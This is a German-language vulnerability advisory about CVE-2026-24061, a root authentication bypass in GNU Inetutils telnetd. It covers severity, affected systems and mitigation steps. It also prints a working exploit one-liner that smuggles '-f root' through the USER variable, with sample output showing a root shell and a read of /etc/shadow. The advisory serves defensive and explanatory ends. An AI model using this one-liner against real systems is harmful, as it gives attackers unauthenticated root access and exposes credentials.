🚨 CVE-2026-24061 — “TelneTD”

Kritischer Remote-Authentifizierungs-Bypass in GNU Inetutils telnetd
Der Geist von 2015 ist gerade zurückgekehrt, um alles zu übernehmen, was noch Telnet betreibt.

Keine Authentifizierung. Eine Umgebungsvariable. Sofortige Root-Shell.

⚠️ Übersicht

CVE-2026-24061 ist eine kritische Remote-Privilegienausweitung-Schwachstelle in GNU Inetutils telnetd ≤ 2.7.

Ein nicht authentifizierter Remote-Angreifer setzt die Umgebungsvariable USER auf "-f root" über die Telnet NEW-ENVIRON-Option.
telnetd übergibt es ungeprüft direkt an /bin/login → login sieht -f root → überspringt die gesamte Authentifizierung → bringt den Angreifer in eine Root-Shell.

Der gefährliche Code saß fast 11 Jahre lang still im Baum (seit ~2015).

„Eine Umgebungsvariable. Kein Passwort. Vollständiger Root-Zugriff. Willkommen im Jahr 2026.“

🔥 Schweregrad & Auswirkungen

• CVSS v3.1 Basis-Score: 9.8 / Kritisch
  AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:H
• Angriffsvektor: Netzwerk (TCP/23)
• Erforderliche Berechtigungen: Keine
• Benutzerinteraktion: Keine
• Exploit-Reife: Trivial (Einzeiler funktioniert von jedem telnet-Client)

Realität im März 2026:

• Massen-Scanning und Ausnutzung seit Ende Januar beobachtet
• Legacy-Eingebettete Geräte, OT-Ausrüstung, vergessene Testserver immer noch weit offen
• Vollständige Systemkompromittierung: Anmeldeinformationen, Persistenz, Ransomware-Einstiegspunkt

🕵️ Entdeckung

• Privat an die GNU-Maintainer Mitte Januar 2026 gemeldet
• Öffentlich via oss-security Ende Januar 2026 offengelegt
• Behoben in GNU Inetutils ≥ 2.8 (kurz nach der Offenlegung veröffentlicht)

🔬 Technischer Tiefgang

Wenn telnetd eine NEW-ENVIRON-Option mit folgendem Inhalt erhält:

USER=-f root

Es fügt den Wert direkt an das argv an, das an /bin/login übergeben wird:

execve("/bin/login", ["login", "-f", "root", ...], ...)

Das Login-Binärprogramm interpretiert -f root als:
„Dieser Benutzer ist bereits als root authentifiziert – keine Passwortprüfung erforderlich.“

→ Angreifer erhält #-Eingabeaufforderung. Game over.

Schwerwiegende Designentscheidung: Die Weiterleitung von -R / Umgebungsvariablen wurde nie auf autorisierte Benutzer beschränkt.

📅 Zeitplan

🖥️ Betroffene Systeme

Verwundbare Versionen: GNU Inetutils telnetd 1.9.3 – 2.7
Häufige Ziele im Jahr 2026:

• Legacy-Industriesteuerungen & HMIs
• Alte Router, Switches, Drucker
• Debian-basierte eingebettete Geräte
• Vergessene Entwicklungs-/Test-VMs und Container
• OT-Gateways, die noch TCP/23 freigeben

Sicher:

• Systeme mit busybox telnetd
• Inetutils ≥ 2.8
• Telnet vollständig deaktiviert / durch Firewall geschützt

💥 Exploit in Aktion

Einzeiler (beliebiges Linux/macOS mit telnet-Client):

USER="-f root" telnet -a 192.168.1.50

Typische Ausgabe:

┌──(attacker㉿kali)-[~]
└─$ USER="-f root" telnet -a 192.168.1.50
Trying 192.168.1.50...
Connected to 192.168.1.50.
Escape character is '^]'.

Debian GNU/Linux 12 telnetd

root@legacy-box:~# whoami
root
root@legacy-box:~# id
uid=0(root) gid=0(root) groups=0(root)
root@legacy-box:~# cat /etc/shadow
...

Ein Druck auf die Eingabetaste später – vollständiger Root-Zugriff.

🛡️ Überprüfung & Abhilfe (März 2026)

1. Verwundbaren Dienst erkennen

telnet localhost 23   # nach inetutils-Banner suchen
inetutils-telnetd --version   # verwundbar wenn ≤ 2.7

2. Töten Sie ihn (bevorzugt für immer)

systemctl disable --now inetutils-inetd   # oder telnet.socket
pkill telnetd && chmod -x /usr/sbin/telnetd

3. Aktualisieren (nur wenn Sie Telnet behalten müssen – selten)

sudo apt update && sudo apt install --reinstall inetutils-telnetd   # → ≥2.8

4. Firewall (Gürtel und Hosenträger)

iptables -A INPUT -p tcp --dport 23 -j DROP
ufw deny 23/tcp

📈 Status — März 2026

• Die Ausnutzung von nicht gepatchten Legacy-Geräten geht weiter
• Telnet-Nutzung auf Allzeittief – aber immer noch tödlich, wenn vorhanden
• Erkenntnis für das Ökosystem: Legacy-Protokolle sind Landminen

🎓 In Stein gemeißelte Lehren

• 11 Jahre alte Fehler verstecken sich noch immer in „totem“ Code
• Übergeben Sie niemals ungeprüfte Benutzereingaben an root-erzeugende Binärdateien
• Argument-Injektion → Root-Zugriff ist zeitlos
• Telnet hätte 2010 sterben sollen. Töten Sie es 2026.